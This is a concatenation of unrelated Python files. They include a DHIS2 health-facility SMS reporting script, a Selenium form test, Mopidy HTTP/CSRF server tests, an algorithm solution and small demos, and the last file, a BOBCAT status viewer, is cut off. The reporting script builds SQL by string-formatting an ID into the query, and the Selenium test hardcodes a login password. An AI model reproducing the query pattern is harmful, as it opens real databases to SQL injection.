a report will arrive that compares your performance this month to the previous\"\n \" month. +10% means an increase. -10% means a decrease.\\nYou will be compared to other facilities\"\n \" in the subcounty.\\nWork to improve your facility every day, we'll be watching!\")\n\n\ndef ReportFormat(key, period, tree, group):\n ANCScore = CombinedReport(key, period, tree)[0]\n PCVScore = CombinedReport(key, period, tree)[4]\n DelivScore = CombinedReport(key, period, tree)[7]\n Reporting = (\n (\n CombinedReport(key, period, tree)[2] + CombinedReport(key, period, tree)[5] +\n CombinedReport(key, period, tree)[8]) / 300) * 100\n TotalScore = ANCScore + PCVScore + DelivScore\n RankPosition = CombinedReport(key, period, tree)[9][0]\n # RankPositionOf = CombinedReport(key, period, tree)[9][1]\n # RankPositionTot = CombinedReport(key, period, tree)[9][2]\n RankPositionval = int(Ranking(key, period, tree))\n ANCScorePast = CombinedReport(key, period, tree)[1]\n PCVScorePast = CombinedReport(key, period, tree)[5]\n DelivScorePast = CombinedReport(key, period, tree)[8]\n TotalScorePast = ANCScorePast + PCVScorePast + DelivScorePast\n ret = {\n 'month': current_month.capitalize(),\n 'total_score': float(TotalScore.__format__('.2f')),\n 'anc_score': float(ANCScore.__format__('.2f')),\n 'delivery_score': float(DelivScore.__format__('.2f')),\n 'pcv_score': float(PCVScore.__format__('.2f')),\n 'reporting_rate': float(Reporting.__format__('.2f')),\n 'position': RankPosition,\n 'comment': ''\n }\n if group == 1:\n if TotalScorePast < TotalScore:\n ret['comment'] = config[\"positive_comment\"]\n else:\n ret[\"comment\"] = config[\"negative_comment\"]\n elif group == 2:\n if RankPositionval == 1 and Reporting > 0:\n ret['comment'] = config[\"positive_comment\"]\n else:\n if Reporting > 0:\n ret['comment'] = config[\"position_comment\"] % ret + config[\"improve_comment\"] # we can print the comment\n else:\n ret['comment'] = \"Please make sure you report on 1stANC, PCV3 and Delivery\"\n elif group == 3:\n if RankPositionval == 1 and Reporting > 0:\n ret['comment'] = config[\"positive_comment\"]\n else:\n if Reporting > 0:\n ret['comment'] = config[\"position_comment\"] % ret + config[\"improve_comment\"]\n else:\n ret['comment'] = \"Please make sure you report on 1stANC, PCV3 and Delivery\"\n else:\n pass\n return ret\n\n\ndef Ranking(a, b, tree):\n RankDict = {}\n RankInitial = []\n RankInitial.append(ANC_reportRank(a, b, tree))\n c = RowToSub[a]\n total = 0.00\n for i in check:\n result = check.get_group(c)\n k = result.shape[0]\n for j in range(k):\n p = result.values[j][0]\n RankDict[p] = ANC_reportRank(p, b, tree)\n total += 1\n del RankDict[a]\n RankList = RankDict.values()\n for x in RankList:\n RankInitial.append(x)\n RankPosition = Series(RankInitial)\n RankFinal = RankPosition.rank(method='min')[0]\n # print 'Ranked:',ord(RankFinal),'on a scale of:', total\n return RankFinal\n\nconn = psycopg2.connect(\n \"dbname=\" + config[\"dbname\"] + \" host= \" + config[\"dbhost\"] + \" port=\" + config[\"dbport\"] +\n \" user=\" + config[\"dbuser\"] + \" password=\" + config[\"dbpasswd\"])\ncur = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)\n# get the district dhis2ids for eligible districts\ncur.execute(\"SELECT dhis2id, name FROM districts WHERE eligible = 't'\")\nres = cur.fetchall()\n\n# for r in [\"x75Yh65MaUa\"]:\nfor r in res:\n value = read_csv_to_file(BASE_URL % r[\"dhis2id\"])\n # value = read_csv_to_file2(BASE_URL % \"\")\n keys = value.keys()\n # computing the number of rows present in the data set, later to be used the ranking\n myrows = value.shape[0]\n # line0 = value.values[myrows][0]\n check = value.groupby(value['organisationunitname'])\n RowToSub = {}\n for i in range(myrows):\n RowToSub[value.values[i][0]] = value.values[i][1]\n\n # The above lists correspond to the column numbers of the data.\n # it is upon the basis that on export the data columns will not change, only the rows will change.\n # please note herein that the indices do not take account YET of the seldom used\n # \"'Organisation unit'\" and 'Organisation unit description\n\n Mydict1 = {}\n Mydict2 = {}\n Mydict = {}\n WholeTree = {}\n # herein ANC data is separated\n for i in range(myrows):\n Mylist = []\n for v in ancList:\n v += 3 # This additional line caters for the comment 3 above\n Mylist.append(value.values[i][v])\n Mydict[value.values[i][0]] = Mylist\n # Now we will consider the Deliveries in Unit data\n for i in range(myrows):\n Mylist = []\n for v in delivList:\n v += 3\n Mylist.append(value.values[i][v])\n Mydict1[value.values[i][0]] = Mylist\n # We'll now consider PVC data\n for i in range(myrows):\n Mylist = []\n for v in pvcList:\n v += 3\n Mylist.append(value.values[i][v])\n Mydict2[value.values[i][0]] = Mylist\n # for reporting purposes, we'll have all this data organised into a\n # dictionary of dictionaries, such as to facilitate ease of retrival by key.\n WholeTree['ANC'] = Mydict\n WholeTree['Deliv'] = Mydict1\n WholeTree['PVC'] = Mydict2\n\n # ReportFormat('imFgSY3OUvZ', 'apr', WholeTree, 1)\n for facilityid in RowToSub.keys():\n cur.execute(\"SELECT id, uuid FROM facilities WHERE dhis2id = '%s' FOR UPDATE NOWAIT\" % facilityid)\n result = cur.fetchone()\n if result:\n facility_uuid = result[\"uuid\"]\n else: # fetch it from dhis2\n facilityurl = config[\"orgunits_url\"] + \"/\" + facilityid + \".json\"\n payload = {'fields': 'id,uuid,name'}\n try:\n resp = requests.get(facilityurl, params=payload, auth=(config[\"dhis2_user\"], config[\"dhis2_passwd\"]))\n f = json.loads(resp.text)\n if 'uuid' in f:\n facility_uuid = f[\"uuid\"]\n except:\n facility_uuid = ''\n # only generate report if we have a valid facility uuid\n if facility_uuid:\n report = ReportFormat(facilityid, current_month, WholeTree, 1)\n message = config[\"facility_report_template\"] % report\n params = {\n 'fuuid': facility_uuid,\n 'text': message,\n 'username': config['smsuser'],\n 'password': config['smspasswd'],\n 'district': r[\"name\"],\n }\n send_facility_sms(params)\n save_facility_record(conn, cur, facility_uuid, report)\n\nconn.close()\n","sub_path":"interapp2.py","file_name":"interapp2.py","file_ext":"py","file_size_in_byte":14562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"105359587","text":"import unittest\r\nfrom selenium import webdriver\r\n\r\nimport page\r\n\r\n\r\nclass ReviewRequest(unittest.TestCase):\r\n def setUp(self):\r\n self.driver = webdriver.Ie()\r\n self.driver.get(\"https://gv2dev-stage.azurewebsites.net/\")\r\n self.driver.maximize_window()\r\n self.driver.implicitly_wait(60)\r\n\r\n def test_gripe_validation(self):\r\n title_text = \"Tested Gripe\"\r\n problem = \"+1-416-555-0138 fuck fuck https://www.youtube.com https://twitter.com https://www.facebook.com \" \\\r\n \"https://www.mixcloud.com / norgekonung@gmail.com \"\r\n company = \"G\"\r\n location_var = \"K\"\r\n user_email = \"mail@mail.com\"\r\n polls = \"Does it Massive?\"\r\n user_name = \"User 600\"\r\n user_pass = \"Temp1234\"\r\n\r\n main_page = page.MainPage(self.driver)\r\n error = page.ErrorPage(self.driver)\r\n\r\n main_page.click_BeHeard_button()\r\n\r\n gripe_page = page.GripePage(self.driver)\r\n gripe_page.input_title(title_text)\r\n gripe_page.input_description(problem)\r\n\r\n btn_page = page.ButtonPage(self.driver)\r\n btn_page.click_next()\r\n\r\n gripe_page.click_rating()\r\n btn_page.click_next()\r\n gripe_page.alert_verify()\r\n gripe_page.alert_Go_Forward()\r\n\r\n # 2-nd step\r\n\r\n search_page = page.SearchPage(self.driver)\r\n btn_page.click_next()\r\n\r\n error.verify_location_attributes()\r\n\r\n search_page.name_input(company)\r\n search_page.location_input(location_var)\r\n search_page.go_to_Search()\r\n main_page.waitForAjax()\r\n search_page.click_Item_needed()\r\n error.verify_user_email()\r\n gripe_page.user_email_input(user_email)\r\n gripe_page.add_private_message(problem)\r\n btn_page.click_next()\r\n\r\n # 3-rd step\r\n gripe_page.upload_video(video_string=\"hgdkjsfhk\")\r\n gripe_page.click_Plant_finish()\r\n\r\n # correct data for proceed\r\n gripe_page.check_filters_click()\r\n gripe_page.upload_pics()\r\n gripe_page.upload_docs()\r\n gripe_page.upload_video(video_string=\"https://youtu.be/2t7HwIXlMDs\")\r\n gripe_page.create_poll(polls)\r\n gripe_page.click_Plant_finish()\r\n\r\n main_page.waitForAjax()\r\n login_page = page.LoginPage(self.driver)\r\n main_page.waitForAjax()\r\n login_page.input_username(user_name)\r\n login_page.input_pass(user_pass)\r\n login_page.click_Login_button()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n unittest.main()\r\n","sub_path":"test_Dirty_Talk.py","file_name":"test_Dirty_Talk.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"130779071","text":"INF = 10**9\r\n\r\ndef addEdge(adj, _u, _v, _w):\r\n #print(_u, _v)\r\n u = ord(_u) - ord('A')\r\n v = ord(_v) - ord('A')\r\n w = int(_w)\r\n adj[u][v] = min(adj[u][v], w)\r\n\r\ndef Floyd(dist, M):\r\n #print(*dist, sep = '\\n')\r\n for k in range(M):\r\n for i in range(M):\r\n for j in range(M):\r\n dist[i][j] = min(dist[i][j], dist[i][k] + dist[k][j])\r\n\r\nwhile True:\r\n n = int(input())\r\n if n == 0:\r\n break\r\n adjYoung = [[INF] * 26 for i in range(26)]\r\n adjMore = [[INF] * 26 for i in range(26)]\r\n for i in range(26): adjYoung[i][i] = 0\r\n for i in range(26): adjMore[i][i] = 0\r\n for i in range(n):\r\n arr = input().split(' ')\r\n if arr[0] == 'Y':\r\n addEdge(adjYoung, arr[2] , arr[3], arr[4])\r\n if (arr[1] == 'B'):\r\n addEdge(adjYoung, arr[3] , arr[2], arr[4]) \r\n else:\r\n addEdge(adjMore, arr[2] , arr[3], arr[4])\r\n if (arr[1] == 'B'):\r\n addEdge(adjMore, arr[3] , arr[2], arr[4]) \r\n \r\n _s, _t = input().split()\r\n s = ord(_s) - ord('A')\r\n t = ord(_t) - ord('A')\r\n n = 26\r\n #print(*adjMore, sep = '\\n')\r\n\r\n \r\n Floyd(adjYoung, n)\r\n Floyd(adjMore, n)\r\n res = INF\r\n\r\n for k in range(26):\r\n if (adjYoung[s][k] != INF and adjMore[t][k] != INF):\r\n if adjYoung[s][k] + adjMore[t][k] < res:\r\n res = adjYoung[s][k] + adjMore[t][k]\r\n \r\n if (res == INF):\r\n print(\"You will never meet.\")\r\n else:\r\n print(res, end = '')\r\n for k in range(26):\r\n if (adjYoung[s][k] != INF and adjMore[t][k] != INF):\r\n if adjYoung[s][k] + adjMore[t][k] == res:\r\n print(' ' + chr(k + ord('A')), end = '')\r\n print()\r\n #print(s, t)\r\n \r\n","sub_path":"Lecture12/10171_uva.py","file_name":"10171_uva.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"299316665","text":"import unittest\nimport sys\n\nfrom vermin import SourceVisitor, Parser\n\ndef current_major_version():\n return float(sys.version_info.major)\n\ndef current_version():\n return current_major_version() + float(sys.version_info.minor) / 10.0\n\nclass VerminTest(unittest.TestCase):\n \"\"\"General test case class for all Vermin tests.\"\"\"\n def assertOnlyIn(self, values, data):\n \"\"\"Assert only value(s) is in data but ignores None and 0 values.\"\"\"\n size = 1\n multiple = isinstance(values, list) or isinstance(values, tuple)\n if multiple:\n # Unless it's a tuple of ints, then it's a version and not a multiple.\n if all(isinstance(x, int) for x in values):\n multiple = False\n else:\n size = len(values)\n self.assertEqual(len(data) - data.count(None) - data.count(0) - data.count((0, 0)), size,\n msg=\"ONLY looking for '{}' in '{}'\".format(values, data))\n if multiple:\n for value in values:\n self.assertIn(value, data, msg=\"ONLY looking for '{}' in '{}'\".format(value, data))\n else:\n self.assertIn(values, data, msg=\"ONLY looking for '{}' in '{}'\".format(values, data))\n\n def assertContainsDict(self, dictionary, data):\n \"\"\"Assert data contains all keys and values of dictionary input.\"\"\"\n for key in dictionary:\n self.assertTrue(key in data, msg=\"Data doesn't have key '{}'\".format(key))\n value = dictionary[key]\n value2 = data[key]\n self.assertEqual(value, value2,\n msg=\"key={}, value={} != target={}\".format(key, value, value2))\n\n def assertEmpty(self, data):\n self.assertTrue(len(data) == 0,\n msg=\"Input not empty! size={}, '{}'\".format(len(data), data))\n\n def assertEqualItems(self, expected, actual):\n \"\"\"Assert that two sequences contain the same elements, regardless of the ordering.\n`assertItemsEqual()` is a 2.7 unittest function. In 3.2 it's called `assertCountEqual()`. This\noverride is made to work for all versions, also 3.0-3.1.\"\"\"\n v = current_version()\n if v >= 3.2:\n self.assertCountEqual(expected, actual)\n if v >= 2.7 and v < 3.0:\n self.assertItemsEqual(expected, actual)\n else:\n self.assertEqual(sorted(expected), sorted(actual))\n\ndef visit(source):\n parser = Parser(source)\n (node, novermin) = parser.parse()\n visitor = SourceVisitor()\n visitor.set_no_lines(novermin)\n visitor.visit(node)\n return visitor\n\ndef detect(source, path=None):\n parser = Parser(source, path)\n (node, mins, novermin) = parser.detect()\n if node is None:\n return mins\n visitor = SourceVisitor()\n visitor.set_no_lines(novermin)\n visitor.visit(node)\n return visitor.minimum_versions()\n","sub_path":"tests/testutils.py","file_name":"testutils.py","file_ext":"py","file_size_in_byte":2667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"231467909","text":"from __future__ import absolute_import, unicode_literals\n\nimport os\n\nimport mock\n\nimport tornado.testing\nimport tornado.wsgi\n\nimport mopidy\nfrom mopidy.http import actor, handlers\n\n\nclass HttpServerTest(tornado.testing.AsyncHTTPTestCase):\n\n def get_config(self):\n return {\n 'http': {\n 'hostname': '127.0.0.1',\n 'port': 6680,\n 'zeroconf': '',\n 'allowed_origins': [],\n 'csrf_protection': True,\n }\n }\n\n def get_app(self):\n core = mock.Mock()\n core.get_version = mock.MagicMock(name='get_version')\n core.get_version.return_value = mopidy.__version__\n\n testapps = [dict(name='testapp')]\n teststatics = [dict(name='teststatic')]\n\n apps = [{\n 'name': 'mopidy',\n 'factory': handlers.make_mopidy_app_factory(testapps, teststatics),\n }]\n\n http_server = actor.HttpServer(\n config=self.get_config(), core=core, sockets=[],\n apps=apps, statics=[])\n\n return tornado.web.Application(http_server._get_request_handlers())\n\n\nclass RootRedirectTest(HttpServerTest):\n\n def test_should_redirect_to_mopidy_app(self):\n response = self.fetch('/', method='GET', follow_redirects=False)\n\n self.assertEqual(response.code, 302)\n self.assertEqual(response.headers['Location'], '/mopidy/')\n\n\nclass MopidyAppTest(HttpServerTest):\n\n def test_should_return_index(self):\n response = self.fetch('/mopidy/', method='GET')\n body = tornado.escape.to_unicode(response.body)\n\n self.assertIn(\n 'This web server is a part of the Mopidy music server.', body)\n self.assertIn('testapp', body)\n self.assertIn('teststatic', body)\n self.assertEqual(\n response.headers['X-Mopidy-Version'], mopidy.__version__)\n self.assertEqual(response.headers['Cache-Control'], 'no-cache')\n\n def test_without_slash_should_redirect(self):\n response = self.fetch('/mopidy', method='GET', follow_redirects=False)\n\n self.assertEqual(response.code, 301)\n self.assertEqual(response.headers['Location'], '/mopidy/')\n\n def test_should_return_static_files(self):\n response = self.fetch('/mopidy/mopidy.css', method='GET')\n\n self.assertIn(\n 'html {',\n tornado.escape.to_unicode(response.body))\n self.assertEqual(\n response.headers['X-Mopidy-Version'], mopidy.__version__)\n self.assertEqual(response.headers['Cache-Control'], 'no-cache')\n\n\nclass MopidyWebSocketHandlerTest(HttpServerTest):\n\n def test_should_return_ws(self):\n response = self.fetch('/mopidy/ws', method='GET')\n\n self.assertEqual(\n 'Can \"Upgrade\" only to \"WebSocket\".',\n tornado.escape.to_unicode(response.body))\n\n def test_should_return_ws_old(self):\n response = self.fetch('/mopidy/ws/', method='GET')\n\n self.assertEqual(\n 'Can \"Upgrade\" only to \"WebSocket\".',\n tornado.escape.to_unicode(response.body))\n\n\nclass MopidyRPCHandlerTest(HttpServerTest):\n\n def test_should_return_rpc_error(self):\n cmd = tornado.escape.json_encode({'action': 'get_version'})\n\n response = self.fetch('/mopidy/rpc', method='POST', body=cmd, headers={\n 'Content-Type': 'application/json'})\n\n self.assertEqual(\n {'jsonrpc': '2.0', 'id': None, 'error':\n {'message': 'Invalid Request', 'code': -32600,\n 'data': '\"jsonrpc\" member must be included'}},\n tornado.escape.json_decode(response.body))\n\n def test_should_return_parse_error(self):\n cmd = '{[[[]}'\n\n response = self.fetch('/mopidy/rpc', method='POST', body=cmd, headers={\n 'Content-Type': 'application/json'})\n\n self.assertEqual(\n {'jsonrpc': '2.0', 'id': None, 'error':\n {'message': 'Parse error', 'code': -32700}},\n tornado.escape.json_decode(response.body))\n\n def test_should_return_mopidy_version(self):\n cmd = tornado.escape.json_encode({\n 'method': 'core.get_version',\n 'params': [],\n 'jsonrpc': '2.0',\n 'id': 1,\n })\n\n response = self.fetch('/mopidy/rpc', method='POST', body=cmd, headers={\n 'Content-Type': 'application/json'})\n\n self.assertEqual(\n {'jsonrpc': '2.0', 'id': 1, 'result': mopidy.__version__},\n tornado.escape.json_decode(response.body))\n\n def test_should_return_extra_headers(self):\n response = self.fetch('/mopidy/rpc', method='HEAD')\n\n self.assertIn('Accept', response.headers)\n self.assertIn('X-Mopidy-Version', response.headers)\n self.assertIn('Cache-Control', response.headers)\n self.assertIn('Content-Type', response.headers)\n\n def test_should_require_correct_content_type(self):\n cmd = tornado.escape.json_encode({\n 'method': 'core.get_version',\n 'params': [],\n 'jsonrpc': '2.0',\n 'id': 1,\n })\n\n response = self.fetch('/mopidy/rpc', method='POST', body=cmd, headers={\n 'Content-Type': 'text/plain'})\n\n self.assertEqual(response.code, 415)\n self.assertEqual(\n response.reason, 'Content-Type must be application/json')\n\n def test_different_origin_returns_access_denied(self):\n response = self.fetch('/mopidy/rpc', method='OPTIONS', headers={\n 'Host': 'me:6680', 'Origin': 'http://evil:666'})\n\n self.assertEqual(response.code, 403)\n self.assertEqual(\n response.reason, 'Access denied for origin http://evil:666')\n\n def test_same_origin_returns_cors_headers(self):\n response = self.fetch('/mopidy/rpc', method='OPTIONS', headers={\n 'Host': 'me:6680', 'Origin': 'http://me:6680'})\n\n self.assertEqual(\n response.headers['Access-Control-Allow-Origin'], 'http://me:6680')\n self.assertEqual(\n response.headers['Access-Control-Allow-Headers'], 'Content-Type')\n\n\nclass MopidyRPCHandlerNoCSRFProtectionTest(HttpServerTest):\n\n def get_config(self):\n config = super(MopidyRPCHandlerNoCSRFProtectionTest, self).get_config()\n config['http']['csrf_protection'] = False\n return config\n\n def get_cmd(self):\n return tornado.escape.json_encode({\n 'method': 'core.get_version',\n 'params': [],\n 'jsonrpc': '2.0',\n 'id': 1,\n })\n\n def test_should_ignore_incorrect_content_type(self):\n response = self.fetch(\n '/mopidy/rpc', method='POST', body=self.get_cmd(),\n headers={'Content-Type': 'text/plain'})\n\n self.assertEqual(response.code, 200)\n\n def test_should_ignore_missing_content_type(self):\n response = self.fetch(\n '/mopidy/rpc', method='POST', body=self.get_cmd(), headers={})\n\n self.assertEqual(response.code, 200)\n\n def test_different_origin_returns_allowed(self):\n response = self.fetch('/mopidy/rpc', method='OPTIONS', headers={\n 'Host': 'me:6680', 'Origin': 'http://evil:666'})\n\n self.assertEqual(response.code, 204)\n\n def test_should_not_return_cors_headers(self):\n response = self.fetch('/mopidy/rpc', method='OPTIONS', headers={\n 'Host': 'me:6680', 'Origin': 'http://me:6680'})\n\n self.assertNotIn('Access-Control-Allow-Origin', response.headers)\n self.assertNotIn('Access-Control-Allow-Headers', response.headers)\n\n\nclass HttpServerWithStaticFilesTest(tornado.testing.AsyncHTTPTestCase):\n\n def get_app(self):\n config = {\n 'http': {\n 'hostname': '127.0.0.1',\n 'port': 6680,\n 'zeroconf': '',\n }\n }\n core = mock.Mock()\n\n statics = [dict(name='static', path=os.path.dirname(__file__))]\n\n http_server = actor.HttpServer(\n config=config, core=core, sockets=[], apps=[], statics=statics)\n\n return tornado.web.Application(http_server._get_request_handlers())\n\n def test_without_slash_should_redirect(self):\n response = self.fetch('/static', method='GET', follow_redirects=False)\n\n self.assertEqual(response.code, 301)\n self.assertEqual(response.headers['Location'], '/static/')\n\n def test_can_serve_static_files(self):\n response = self.fetch('/static/test_server.py', method='GET')\n\n self.assertEqual(200, response.code)\n self.assertEqual(\n response.headers['X-Mopidy-Version'], mopidy.__version__)\n self.assertEqual(\n response.headers['Cache-Control'], 'no-cache')\n\n\ndef wsgi_app_factory(config, core):\n\n def wsgi_app(environ, start_response):\n status = '200 OK'\n response_headers = [('Content-type', 'text/plain')]\n start_response(status, response_headers)\n return ['Hello, world!\\n']\n\n return [\n ('(.*)', tornado.web.FallbackHandler, {\n 'fallback': tornado.wsgi.WSGIContainer(wsgi_app),\n }),\n ]\n\n\nclass HttpServerWithWsgiAppTest(tornado.testing.AsyncHTTPTestCase):\n\n def get_app(self):\n config = {\n 'http': {\n 'hostname': '127.0.0.1',\n 'port': 6680,\n 'zeroconf': '',\n }\n }\n core = mock.Mock()\n\n apps = [{\n 'name': 'wsgi',\n 'factory': wsgi_app_factory,\n }]\n\n http_server = actor.HttpServer(\n config=config, core=core, sockets=[], apps=apps, statics=[])\n\n return tornado.web.Application(http_server._get_request_handlers())\n\n def test_without_slash_should_redirect(self):\n response = self.fetch('/wsgi', method='GET', follow_redirects=False)\n\n self.assertEqual(response.code, 301)\n self.assertEqual(response.headers['Location'], '/wsgi/')\n\n def test_can_wrap_wsgi_apps(self):\n response = self.fetch('/wsgi/', method='GET')\n\n self.assertEqual(200, response.code)\n self.assertIn(\n 'Hello, world!', tornado.escape.to_unicode(response.body))\n","sub_path":"tests/http/test_server.py","file_name":"test_server.py","file_ext":"py","file_size_in_byte":10156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"491578181","text":"\"\"\"p4 URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom p4 import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('',views.sample,name = \"sample\"),\n path('home/',views.sample1,name = \"sample1\"),\n path('third/',views.third,name='third'),\n path('fourth/',views.fourth,name=\"fourth\"),\n path('fifth/',views.fifth,name=\"fifth\"),\n path('url_data/',views.urls_data,name = \"urls_data\"),\n path('ab/',views.ab,name = \"ab\"),\n path('ab//',views.ab,name = \"ab\"),\n path('abc///',views.abc,name = \"abc\"),\n path('great//',views.great,name = \"great\"),\n path('string/',views.string19,name = \"string19\"),\n]\n","sub_path":"p4/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"592331492","text":"# Зверушка\nclass Critter(object):\n def __init__(self, name):\n print(\"Создан объект с именем\")\n self.__name = name\n\n @property\n def name(self):\n print(\"сработал getter\")\n return self.__name\n\n @name.setter\n def name(self, new_name):\n print(\"сработал setter\")\n self.__name = new_name\n\n def talk(self):\n print(\"Привет, меня зовут \", self.name)\n\ncrit = Critter(\"Bobik\")\ncrit.talk()\nprint(crit.name)\ncrit.name = \"Valdemar\"\nprint(\"Теперь имя зверушки\", end=\" \")\nprint(crit.name)","sub_path":"FirstPythonPackage/chapter_8/property_critter.py","file_name":"property_critter.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"278119958","text":"import pandas as pd\nimport matplotlib.pyplot as plt\naa =r'JDdata.xls'\nbb=r'JDcar.xls'\ndfaa = pd.DataFrame(pd.read_excel(aa))\ndfbb=pd.DataFrame(pd.read_excel(bb))\ndf1=dfaa[['业务日期','金额']]\ndf2=dfbb[['投放日期','支出']]\n#去除空日期和金额为0的记录\ndf1=df1[df1['业务日期'].notnull() & df1['金额'] !=0]\ndf2=df2[df2['投放日期'].notnull() & df2['支出'] !=0]\ndf1['业务日期'] = pd.to_datetime(df1['业务日期'])\ndf2['投放日期'] = pd.to_datetime(df2['投放日期'])\ndfData = df1.set_index('业务日期',drop=True)\ndfCar=df2.set_index('投放日期',drop=True)\n# 按月度统计并显示销售金额\ndfData_month=dfData.resample('M').sum().to_period('M')\n# 按月度统计并显示广告费支出金额\ndfCar_month=dfCar.resample('M').sum().to_period('M')\n#x为广告费用,y为销售收入\nx=pd.DataFrame(dfCar_month['支出'])\ny=pd.DataFrame(dfData_month['金额'])\nplt.rcParams['font.sans-serif']=['SimHei'] #解决中文乱码\nplt.title('销售收入与广告费散点图') #图表标题\nplt.scatter(x, y, color='red') #真实值散点图\n\n\n\n\n\n","sub_path":"Python数据分析从入门到精通/MR/Code/05/24/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"604210278","text":"# -*- coding: utf-8 -*-\n\nfrom example_project.tests.test_newman.helpers import NewmanTestCase\n\nclass TestArticleBasics(NewmanTestCase):\n\n def test_article_template_saving(self):\n s = self.selenium\n\n # go to article adding\n s.click(self.elements['navigation']['article_add'])\n\n # prepare article structure for me\n\n # fill the form\n article = {\n 'title' : u'马 experiment',\n 'upper_title' : u'vyšší',\n }\n ","sub_path":"tests/example_project/tests/test_newman/test_articles.py","file_name":"test_articles.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"134045745","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport sys\nimport rospy\nimport graphviz\n\nfrom PyQt5 import QtWidgets, QtSvg\nfrom datetime import datetime\nfrom bobcat.msg import BobcatStatus\n\nclass BOBCATViewer(object):\n \"\"\" Visualize bobcat_status topic data \"\"\"\n\n def __init__(self):\n # Setup our variables\n self.id = rospy.get_param('bobcat_viewer/vehicle', 'H01')\n self.status = BobcatStatus()\n self.gv = graphviz.Digraph()\n self.colorscheme = '/blues9/'\n self.svg = None\n # Runtime flags\n self.showMonitorsToBehaviors = False # Show the connections between monitors and behaviors\n self.trimMonitorsToBehaviors = True # Remove some of the connections that are extraneous\n self.saveGV = False # Save the GV to a file\n self.saveSVG = False # Save the SVG to a file\n # Initialize QT\n self.app = QtWidgets.QApplication(sys.argv)\n self.svgWidget = QtSvg.QSvgWidget()\n self.svgWidget.setWindowTitle('BOBCAT Status Viewer - ' + self.id)\n\n rospy.init_node('bobcat_viewer')\n self.status_sub = rospy.Subscriber('bobcat_status', BobcatStatus, self.StatusReceiver)\n\n def StatusReceiver(self, data):\n self.status = data\n # Convert the topic message to a graphviz object\n self.statusToGV()\n # Build an SVG image\n self.svg = bytearray(self.gv.pipe())\n # Display the image\n self.viewStatus()\n\n def statusToGV(self):\n g = graphviz.Digraph('bobcat_status', format='svg')\n g.attr(rankdir='LR', concentrate='true', splines='polyline', ranksep='1')\n g.attr('node', shape='box', fixedsize='true', width='2', height='1', style='filled,rounded')\n\n monitors = {}\n m = graphviz.Digraph('subgraph-m')\n for monitor in self.status.monitors:\n color = 'green' if monitor.status else '/blues9/2'\n # Only show red for comms, otherwise everything is red most of the time\n if monitor.name == 'Comms' and not monitor.status:\n color = 'red'\n m.node(monitor.name, fillcolor=color)\n monitors[monitor.name] = monitor.status\n\n # Create an intersection node to branch and use a single label\n status = 'T' if monitor.status else 'F'\n color = 'green' if monitor.status else 'red'\n hname = 'h' + monitor.name\n m.node(hname, shape='point', width='0')\n m.edge(monitor.name, hname, xlabel=status, color=color, dir='none', tailport='e')\n g.subgraph(m)\n\n objectives = {}\n o = graphviz.Digraph('subgraph-o')\n for objective in self.status.objectives:\n name = 'o' + objective.name\n color, ecolor, fontcolor = self.getColors(objective.weight)\n o.node(name, objective.name, fontcolor=fontcolor, fillcolor=color)\n objectives[objective.name] = objective.weight\n\n # Hidden node for branching\n hname = 'ho' + objective.name\n o.node(hname, shape='point', width='0')\n o.edge(name, hname, xlabel=str(round(objective.weight, 1)), color=ecolor, dir='none', tailport='e')\n\n # Objective to hidden monitor nodes\n for monitor in objective.monitors:\n color = 'green' if monitors[monitor] else 'red'\n o.edge('h' + monitor, name, color=color)\n\n # Hack to add a dummy monitor for Explore when it doesn't have one\n if objective.name == 'Explore' and not objective.monitors:\n m.node('ExploreToGoal', fillcolor='/blues9/2')\n m.node('hExploreToGoal', shape='point', width='0')\n o.edge('ExploreToGoal', 'hExploreToGoal', dir='none', xlabel='T', color='green')\n o.edge('hExploreToGoal', 'oExplore', color='green')\n g.subgraph(o)\n\n behaviors = {}\n b = graphviz.Digraph('subgraph-b')\n for behavior in self.status.behaviors:\n name = 'b' + behavior.name\n color, ecolor, fontcolor = self.getColors(behavior.score)\n b.node(name, behavior.name, fontcolor=fontcolor, fillcolor=color)\n\n # Behavior to hidden monitor nodes, if enabled\n if self.showMonitorsToBehaviors:\n for monitor in behavior.monitors:\n if (not self.trimMonitorsToBehaviors or\n (monitor != 'HumanInput' and monitor != 'NearbyRobot')):\n color = 'green' if monitors[monitor] else 'red'\n b.edge('h' + monitor, name, color=color)\n\n # Behavior to hidden objective nodes\n for objective in behavior.objectives:\n color, ecolor, fontcolor = self.getColors(objectives[objective])\n b.edge('ho' + objective, name, color=ecolor)\n if objective == 'Input':\n b.edge('hoInput', 'bExplore', color=ecolor)\n g.subgraph(b)\n\n # Executed behavior and time\n e = graphviz.Digraph('subgraph-e')\n e.attr(rank='same')\n if self.status.execBehavior == 'Stop':\n color = 'red'\n elif self.status.execBehavior == 'GoHome':\n color = 